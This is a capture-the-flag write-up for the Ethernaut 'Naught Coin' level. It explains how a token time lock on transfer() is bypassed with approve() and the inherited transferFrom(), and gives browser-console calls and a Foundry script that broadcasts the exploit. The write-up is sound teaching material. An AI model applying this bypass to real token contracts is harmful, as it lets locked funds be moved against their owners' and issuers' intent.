# The Ethernaut CTF Solutions | 15 - Naught Coin

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/15-naught-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/15-naught-requirements.webp)

## The contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    // string public constant name = 'NaughtCoin';
    // string public constant symbol = '0x0';
    // uint public constant decimals = 18;
    uint public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        // _totalSupply = INITIAL_SUPPLY;
        // _balances[player] = INITIAL_SUPPLY;
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(
        address _to,
        uint256 _value
    ) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}
```

## The hack

The NaughtCoin level is a bit weird as it is hard to imagine that anything like this would ever be implemented. However, it teaches us a valuable lesson about the importance of correctly implementing inherited functions.

We can see that the `transfer()` function has a `lockTokens` modifier.

```solidity
modifier lockTokens() {
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
      _;
    } else {
     _;
    }
}
```

So it looks like we won't be able to use the `transfer()` function to transfer the tokens to another address. But in the ERC20 standard, there is also a `transferFrom()` function, which allows another address to execute a transfer on our behalf if approved.

Since the `transferFrom()` function is not implemented in the NaughtCoin contract, its implementation will be the one defined in the OpenZeppelin contract, without the `lockTokens` modifier.

In other words, we can use the `transferFrom()` function to transfer the tokens to another address without worrying about the time lock. We simply have to approve the address that will perform the transfer on our behalf first.

## Solution

### In the browser's console

1. Let's find out how many tokens you have:
    

```javascript
const balance = await contract.balanceOf(player);
```

2. Approve another address to transfer the tokens for us:
    

```javascript
await contract.approve("TheFutureCoinOwner", balance);
```

3. Transfer the tokens to another address using the `transferFrom()` function:
    

```javascript
await contract.transferFrom(player, "TheFutureCoinOwner", balance);
```

### With Foundry using `forge`:

The deployment script:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";

interface INaughtCoin {
    function balanceOf(address _owner) external view returns (uint256);
    function approve(address _spender, uint256 _value) external returns (bool);
    function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) external returns (bool);
}

contract PoC is Script {
    // Replace with your NaughtCoin instance
    INaughtCoin naughty =
        INaughtCoin(0xC595d7C946910835637D23F231441700Be6A25F8);

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        address futurCoinOwner = 0x1234567890AbcdEF1234567890aBcdef12345678;

        uint balance = naughty.balanceOf(futurCoinOwner);
        console2.log("Current balance: ", balance);

        naughty.approve(futurCoinOwner, balance);
        naughty.transferFrom(futurCoinOwner, address(naughty), balance);

        console2.log("New balance is: ", naughty.balanceOf(futurCoinOwner));

        vm.stopBroadcast();
    }
}
```

Don't forget to edit the `futurCoinOwner` address in the `script/15_NaughtCoin.s.sol` file above!

```solidity
 address futurCoinOwner = "your wallet address here";
```

Then run this script with the following command:

```bash
forge script script/15_NaughtCoin.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

**🎉 Level completed 🎉**

## Takeaway

* Always be careful when inheriting from other contracts. And make sure to implement the inherited functions correctly.
    

## Reference

* The Seneca hack & non implemented `pause()` function: [https://rekt.news/seneca-protocol-rekt/](https://rekt.news/seneca-protocol-rekt/)
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
